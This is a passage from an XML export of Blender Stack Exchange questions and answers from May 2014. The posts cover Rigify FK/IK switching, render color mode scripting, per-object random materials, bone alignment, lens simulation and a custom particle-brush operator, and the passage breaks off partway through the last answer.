  <row Id="9084" PostTypeId="2" ParentId="9062" CreationDate="2014-05-02T16:53:48.753" Score="9" Body="&lt;h2&gt;Rigify's Controls&lt;/h2&gt;&#xA;&lt;p&gt;Blender's built-in addon &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Rigging/Rigify&quot; rel=&quot;noreferrer&quot;&gt;Rigify&lt;/a&gt; provides the user with many &amp;quot;handles&amp;quot; or &amp;quot;controls&amp;quot; used to manipulate the position of mesh parts. Here, all of these handles/controls are shown highlighted:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pz338.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Forward Kinematics (FK) vs. Inverse Kinematics (IK)&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Forward Kinematics&lt;/strong&gt;&lt;br /&gt;&#xA;Forward kinematics (FK) is one of the two ways Rigify uses to calculate joint movement of a rigged character. When using FK rigging, any given joint can only affect parts of the skeleton that fall &lt;em&gt;below&lt;/em&gt; it on the joint hierarchy.&#xA;For example, rotating a character's shoulder changes the position of the elbow, wrist, and hand. However, moving the hand only moves parts from there down the joint hierarchy, i.e. only the hand &amp;amp; fingers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQ8EG.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When animating with forward kinematics, the artist typically needs to set the rotation and position of each joint individually -- to achieve a desired pose the animator would work through the joint hierarchy sequentially: root → spine → shoulder → elbow → etc. The final position of a terminating joint (like a knuckle) thus depends on the joint angles of every joint above it in the hierarchy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Inverse Kinematics&lt;/strong&gt;&lt;br /&gt;&#xA;IK rigging is the reverse process from forward kinematics, and is often used as an efficient solution for rigging a character's arms and legs. With an IK rig, the terminating joint is directly placed by the animator, while the joints above it on the hierarchy are automatically interpolated by the software. For example, when moving the hand's IK controls, all unconstrained joints &lt;em&gt;above&lt;/em&gt; the hand will be effected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DQfKe.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;IK is most appropriate when the animation calls for a terminating joint to be placed very precisely; a character climbing a ladder is a good example. Because the character's hands and feet can be placed directly on the ladder's rungs rather than the animator having to adjust their position joint-by-joint, an IK rig would make the animation process far more efficient. One drawback is that because IK animation uses software interpolation on all the effected joints, there's often quite a bit of cleanup work that must be done precisely positioning specific joints in order to perfect the pose.&lt;/p&gt;&#xA;&lt;h2&gt;FK / IK Settings&lt;/h2&gt;&#xA;&lt;p&gt;Each one of these handles/controls has it's own settings you can see and adjust in the Properties panel. To see these settings, do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the rig&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;em&gt;Pose&lt;/em&gt; mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a control/handle on the rig&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to open the Properties panel, then scroll down to the bottom to see the Rigify settings in the &lt;em&gt;Rig Main Properties&lt;/em&gt; section:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGIhk.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The first control setting listed in the &lt;em&gt;Rig Main Properties&lt;/em&gt; section is the &lt;em&gt;FK / IK Switch&lt;/em&gt; and it controls to what degree the mesh is controlled by the Forward Kinematic handle/controls or the Inverse Kinematic handle/controls. For example, here, the Left Foot's Inverse Kinematics control/handle is selected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kTTI3.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the &lt;em&gt;FK / IK (foot.ik.L)&lt;/em&gt; value is set to 0, the rig's FK handle/control position effects the foot's position 100% and the IK handle/control position effects the foot's position 0%. As the value is increased, the rig effects switch from being FK controlled to more IK controlled, until at 1.0, the foot's IK handle position effects the rig 100% and the FK controls effect it 0%.&lt;/p&gt;&#xA;&lt;p&gt;So, when you say you are finding &amp;quot;it's nearly impossible to move the &amp;quot;Legs&amp;quot; of the model&amp;quot;, that is because the &lt;em&gt;FK / IK (leg parts)&lt;/em&gt; handles/controls are set to inappropriate values, so they barely exert any influence on the leg's position when you move them.&lt;/p&gt;&#xA;&lt;h2&gt;Solution&lt;/h2&gt;&#xA;&lt;p&gt;The solution is to set a handle/control's &lt;em&gt;FK / IK Switch&lt;/em&gt; value to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;0.0 if you are using an FK handle/control&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;1.0 if you are using an IK handle/control&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Unfortunately, I don't know of any way to do this all at once for all the handles/controls, so you have to do it one at a time. The easiest way to do this is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the rig&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;em&gt;Pose&lt;/em&gt; mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to select All of the handles/controls&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to open the Properties panel, then scroll down to the bottom to see the Rigify settings in the &lt;em&gt;Rig Main Properties&lt;/em&gt; section&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set all of the &lt;em&gt;FK / IK Switch&lt;/em&gt; values appropriately&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GzDkx.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-03T01:47:36.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9085" PostTypeId="1" CreationDate="2014-05-02T17:21:34.647" Score="4" ViewCount="1337" Body="&lt;p&gt;I am trying to set my render to be alpha. i have the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bpy.context.scene&#xA;scene.render.alpha_mode = 'TRANSPARENT' &#xA;bpy.context.scene.color_mode = 'RGBA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where of the two first lines works fine, but im getting an error in the last one.&#xA;so how do i set the color_mode to RGBA, instead of RGB, using python script?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-05-03T00:56:54.580" Title="How to set color_mode to RGBA using script?" Tags="&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9086" PostTypeId="2" ParentId="9085" CreationDate="2014-05-02T18:16:26.173" Score="6" Body="&lt;p&gt;To set the color mode to RGBA for the current scene, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.context.scene.render.image_settings.color_mode ='RGBA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;color_mode&lt;/code&gt; is a member &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.ImageFormatSettings.html#bpy.types.ImageFormatSettings.color_mode&quot; rel=&quot;noreferrer&quot;&gt;ImageFormatSettings&lt;/a&gt;, which is in turn a member of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.RenderSettings.html#bpy.types.RenderSettings.image_settings&quot; rel=&quot;noreferrer&quot;&gt;RenderSettings&lt;/a&gt;. The render settings of a scene are accessible via &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.Scene.html#bpy.types.Scene.render&quot; rel=&quot;noreferrer&quot;&gt;Scene.render&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for an explanation how to find out the access path:&lt;br&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_4/info_api_reference.html&quot; rel=&quot;noreferrer&quot;&gt;Blender/Python API Reference Usage: examples of how to use the API reference docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2816" LastEditorUserId="1363" LastEditDate="2014-05-03T00:56:54.580" LastActivityDate="2014-05-03T00:56:54.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9087" PostTypeId="1" CreationDate="2014-05-02T19:10:39.550" Score="4" ViewCount="1174" Body="&lt;p&gt;Is there a way with the material compositor to make it so that when I have multiple objects (duplicated) within a scene that their materials change just because of the simple fact that they are duplicated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EG. I have 2000 AirSoft pellets in this scene (some are duplicated for precise positions, others are within a particle system. But all use the same exact material), I don't want them all to be red, I want them to be either of the three colors; red,blue,purple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to also choose that a majority are red (50%) and blue &amp;amp; purple would be 25% each. So 1,000 red and 500 blue and 500 purple.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2014-05-02T19:31:53.527" Title="Changing Materials On Multiple Copies Of Same Object (within cycles)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9088" PostTypeId="2" ParentId="9087" CreationDate="2014-05-02T19:31:53.527" Score="6" Body="&lt;p&gt;You can use the &lt;em&gt;Random&lt;/em&gt; output of the object info node to get random values between 1 and 0 that are unique to each object with the material. You can use this to change the color of an object using a color ramp node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDOIz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this only works for objects (you convert your particle system to objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Make Duplicates Real&lt;/em&gt;, but they will no longer be animated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can kind of do the same thing for particles with the &lt;em&gt;index&lt;/em&gt; output of the &lt;em&gt;Particle info&lt;/em&gt; node (dividing it by the number of particles), however the output will not be random; the first particle will have a value of 0 and the last will have a value of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your particles move around and get mixed up enough, it may not be noticeable, especially if you chop up the color ramp node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJTFf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-02T19:31:53.527" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9089" PostTypeId="1" CreationDate="2014-05-02T21:16:41.247" Score="2" ViewCount="546" Body="&lt;p&gt;I want to make a touchscreen application in the blender game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's basically an information kiosk type application&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any addons that can detect touch events?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can get by for now with Mouse events, as it's a single touch application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But any advice or would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3358" LastActivityDate="2014-05-02T21:16:41.247" Title="Blender game engine touch screen" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostTypeId="1" AcceptedAnswerId="9099" CreationDate="2014-05-02T22:06:08.450" Score="2" ViewCount="1173" Body="&lt;p&gt;I have a small rig setup on which I am working. Later in pose mode I want the root bone to affect several (IK) bones. To have a better control I want to do it with contraints. So, lets say when I move the root bone in pose mode I want that another bones is moved also like the root bone is the parent. The problem is, that the local axis of the root bone and the other bone are different and when I setup the Copy Location Constraint (with local space &amp;lt;-&gt; local space) and move the root one the affect is wrong, cause the target bone is moved on the wrong axis. I tried to correct the local axis of the target to make it the same like the root bone. For this, I used the recalculate roll tools in the armature menu, but I can only correct one axis. Any advice, how I can solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-05-03T08:52:16.267" Title="Bone local coordinate adjustment" Tags="&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9091" PostTypeId="1" AcceptedAnswerId="9093" CreationDate="2014-05-02T23:40:25.323" Score="7" ViewCount="4183" Body="&lt;p&gt;By optical modeling I mean simulating the results of an set of lens imaging a scene, so one can see how different lens (say a fisheye, or different glass) effect the imaging of a scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect to get some of the finer modeling details that involve wave calculations or things like chromatic aberration, I'd just like to get an overall idea of the imaging effects of certain lens combinations assuming the light is a perfect ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with blender? Would one need to use cycles? Are there any guides or topics I could look up that could assist with such a task?&lt;/p&gt;&#xA;" OwnerUserId="3359" LastActivityDate="2018-11-28T13:31:29.517" Title="Can blender be used for simple optical modeling?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9092" PostTypeId="1" AcceptedAnswerId="9094" CreationDate="2014-05-03T01:24:34.833" Score="5" ViewCount="697" Body="&lt;p&gt;I have set up my material in the node editor and it showed up fine but when I duplicated it with a array modifier the second object created with the array has no material attached to it. Also applying the modifier has no effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/huFQ0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my node set-up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bobtR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both objects display the same in material view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nsnvu.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this?&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/28889&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Blend File)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1165" LastEditDate="2014-05-03T02:52:31.427" LastActivityDate="2014-05-03T05:25:40.617" Title="Material not displaying on array objects" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9093" PostTypeId="2" ParentId="9091" CreationDate="2014-05-03T04:36:14.317" Score="11" Body="&lt;p&gt;Cycles is relatively simple path tracer without MLT so I did not try to simulate lenses in Cycles, and do not recommend it for this purpose. LuxRender is much better choice for this, it is free and open source, and integrates with Blender very well. With LuxRender it's possible to simulate fish-eye or normal lenses focusing light (image) on film (with translucent matte material and camera behind it). You could simulate chromatic aberration too. You could model half of each aspherical (or spherical) surface profile precisely with XYZ Math Surface, then spin 360 degrees, then delete all doubles and set smooth shading. This way, it is possible to model even achromatic doublet (you will need three surfaces with properly defined interior/exterior volumes). But more lens elements you have between film and the scene, the more issues you will encounter. When done modeling lens elements, enclose them in completely black container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simulation of simple lenses (1-2 elements) is almost without issues, complex lenses with many elements (4-6) may have weird noisy artifacts (but result usually good enough &quot;to get overall idea&quot;). If number of elements is too many (for example, 18), simulation may fail (just render few fireflies on black screen). Another limitation is that LuxRender as far as I know cannot simulate AR coating yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You did not mention how good you are with lens modeling and underlying math describing their surface, and how many elements you plan to have in your lens simulation(s). I think there are no good tutorials about this yet. If you need one please comment, I could expand this answer with much more details (but please note that it may take few weeks because if I do this, I would like to do it with good examples, and only if somebody actually interested in more detailed answer, and if using LuxRender is acceptable option).&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="3110" LastEditDate="2014-05-03T04:50:08.233" LastActivityDate="2014-05-03T04:50:08.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9094" PostTypeId="2" ParentId="9092" CreationDate="2014-05-03T05:05:26.713" Score="5" Body="&lt;p&gt;In texture the coordinates node, you have it set to object, the scale then refers to the original object and doesn't get passed on to the ones created by the modifiers. Effectively you now have a bigger object and the texture doesn't cover all of it, and also the center of the object is now in a different place.&#xA;If you UV unwrap the original plane, then the texture will follow on the object created by modifiers.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bn0mL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get an accurate image of what your textures look like switch to &quot;rendered&quot; view on the viewport.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-05-03T05:25:40.617" LastActivityDate="2014-05-03T05:25:40.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostTypeId="1" AcceptedAnswerId="9096" CreationDate="2014-05-03T05:34:41.267" Score="2" ViewCount="1247" Body="&lt;p&gt;I am new to blender and I am not clear that is it possible to model a perspective image in orthographic view because I never succeeded whenever I tried but I could see tutorials put up modeling a perspective image in orthographic view. I am not sure whether the image is perspective or orthographic. This is the link to one of the video    &lt;a href=&quot;http://youtu.be/86JiuZpbi_w&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/86JiuZpbi_w&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3360" LastActivityDate="2014-05-03T06:20:40.083" Title="Is it possible model a perspective image in orthographic view" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9096" PostTypeId="2" ParentId="9095" CreationDate="2014-05-03T06:20:40.083" Score="2" Body="&lt;p&gt;Yes, but ...&#xA;You have to keep in mind that using photographs as reference images you will always have a bit of &quot;distortion&quot;. Therefore use them only as loose reference, not as &quot;set-in-stone-rules&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start for example in the front-view, adding all the faces they will be completly flat, and if looked from any other angle, they will appear as a big plane without any structure. Now if you switch to side-view and start moving the verticies horizontal you'll get more and more &quot;3d-ish&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(maybe somebody can add explaining images to this answer)&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2014-05-03T06:20:40.083" CommentCount="2" CommunityOwnedDate="2014-05-03T06:20:40.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="9097" PostTypeId="2" ParentId="9056" CreationDate="2014-05-03T06:27:02.923" Score="6" Body="&lt;p&gt;Other interactive way to do this is using a curve as a Bevel Object on a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Circle by pressing &lt;kbd&gt;shift&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; and choose curve-&gt;circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T3FMK.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6l0TG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter edit mode and create the profile you want by deforming the circle on the x axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HWpTD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ONEL0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit edit mode and create a new circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9qn0N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties tab for the curve assign the 1st circle as Bevel Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rz4BP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the shape is not what you want, you can readjust the first curve in edit mode.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bo18y.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6x2Yu.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mUH0x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-05-03T06:42:27.360" LastActivityDate="2014-05-03T06:42:27.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9098" PostTypeId="1" CreationDate="2014-05-03T08:02:45.990" Score="1" ViewCount="151" Body="&lt;p&gt;I have a torus object from which i only want to see a certain section? like a quarter of a ring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section should be at an arbitrary given angle and should be changeable later on.&lt;/p&gt;&#xA;" OwnerUserId="3348" LastEditorUserId="3348" LastEditDate="2014-05-03T08:12:59.897" LastActivityDate="2014-05-03T08:12:59.897" Title="How to display section of a torus only" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9099" PostTypeId="2" ParentId="9090" CreationDate="2014-05-03T08:46:57.867" Score="3" Body="&lt;p&gt;To align bones in &lt;strong&gt;Edit Mode&lt;/strong&gt; select the bone you want to align and then the bone you want to copy the alignment from. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; (Align Bones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note: If you need them to have different rotations, parent them on additional bones and use the copy location constraint on the parents instead. That way you can rotate the childs freely without worrying about their translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier solution might be to use &lt;strong&gt;Pose Space&lt;/strong&gt; to &lt;strong&gt;Pose Space&lt;/strong&gt; for the copy location constraint and tick on &lt;strong&gt;Offset&lt;/strong&gt; in the constraints panel.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-05-03T08:52:16.267" LastActivityDate="2014-05-03T08:52:16.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9100" PostTypeId="1" AcceptedAnswerId="9101" CreationDate="2014-05-03T08:49:59.360" Score="1" ViewCount="7765" Body="&lt;p&gt;After for example a Torus has been added, you can specify major segments, minor segments, radii, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some clicking around i cant seem to get back to these settings anymore.&#xA;is it possible? if so, how?&lt;/p&gt;&#xA;" OwnerUserId="3348" LastActivityDate="2014-11-25T15:29:38.467" Title="Is it possible to get back to `Add mode`?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2014-05-03T17:32:59.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostTypeId="2" ParentId="9100" CreationDate="2014-05-03T10:39:12.383" Score="3" Body="&lt;p&gt;The options at the bottom of the Tool Shelf (left Panel in the 3D view) and the 'F6 menu' only exist when you're adding an object.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add an object (Cube, UV Sphere, Torus...) and press enter to accept the addition, you're too late in changing the options with the F6 menu.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Add Torus, press &lt;kbd&gt;F6&lt;/kbd&gt; or &lt;kbd&gt;T&lt;/kbd&gt;, now you can change the settings, before you press enter or carry out a further action.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects you add are not procedural, you cannot just change their parameters at any time,but only when you add them to your scene.&lt;/p&gt;&#xA;" OwnerDisplayName="user2816" LastEditorUserId="241" LastEditDate="2014-11-25T15:29:38.467" LastActivityDate="2014-11-25T15:29:38.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9102" PostTypeId="2" ParentId="8880" CreationDate="2014-05-03T11:56:27.680" Score="1" Body="&lt;p&gt;You can do this as a post process in the composite nodes, after all the baking is done, with a Separate and then a Combine RGB nodes.&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2014-05-03T11:56:27.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9103" PostTypeId="2" ParentId="9100" CreationDate="2014-05-03T14:38:55.730" Score="0" Body="&lt;p&gt;For an interactive way to make a Torus, use curve as Bevel object on a circle. That way you can always go back and re-edit the shape. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details here:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/9056/how-can-i-flatten-a-torus-only-on-certain-axes-so-that-it-looks-more-like-a-flat&quot;&gt;How can I flatten a torus only on certain axes so that it looks more like a flattened band?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-05-03T14:38:55.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostTypeId="1" CreationDate="2014-05-03T21:25:28.133" Score="2" ViewCount="986" Body="&lt;p&gt;Please see the screenshot here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lhFL1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of the window I have 3 toolbars packed together, they are all the same.&#xA;How can I remove them?&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-05-03T21:25:28.133" Title="how to remove duplicate toolbars?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-03T22:32:30.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="9109" PostTypeId="1" AcceptedAnswerId="9110" CreationDate="2014-05-04T07:04:50.560" Score="4" ViewCount="722" Body="&lt;p&gt;I didn't find a way to set this, even via the right-click menu. Anyone could advise some? Thanks. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jnmjd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-07-22T20:11:54.127" Title="Create Shortcuts for Particle Edit Brushes?" Tags="&lt;python&gt;&lt;particles&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9110" PostTypeId="2" ParentId="9109" CreationDate="2014-05-04T07:36:53.360" Score="4" Body="&lt;p&gt;I didn't see an operator for this either, so you will have to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_4/info_tutorial_addon.html?highlight=operator#write-the-addon-simple&quot; rel=&quot;nofollow noreferrer&quot;&gt;write your own&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class ParticleSmoothBrushSelect(bpy.types.Operator):&#xA;    &amp;quot;&amp;quot;&amp;quot;Select the smooth brush&amp;quot;&amp;quot;&amp;quot;&#xA;    bl_idname = &amp;quot;particle.smooth_select&amp;quot;&#xA;    bl_label = &amp;quot;Select the smooth particle brush&amp;quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    &#xA;    def execute(self, context):&#xA;        bpy.context.scene.tool_settings.particle_edit.tool = 'SMOOTH'&#xA;        return {'FINISHED'}&#xA;    &#xA;    &#xA;def register():&#xA;    bpy.utils.register_class(ParticleSmoothBrushSelect)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ParticleSmoothBrushSelect)&#xA;    &#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When run in the text editor, this will register the operator &lt;code&gt;bpy.ops.particle.smooth_select()&lt;/code&gt;. You can assign a shortcut to this operator in the user preferences:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;em&gt;Input &amp;gt; 3D view &amp;gt; Particle&lt;/em&gt; (assuming you want 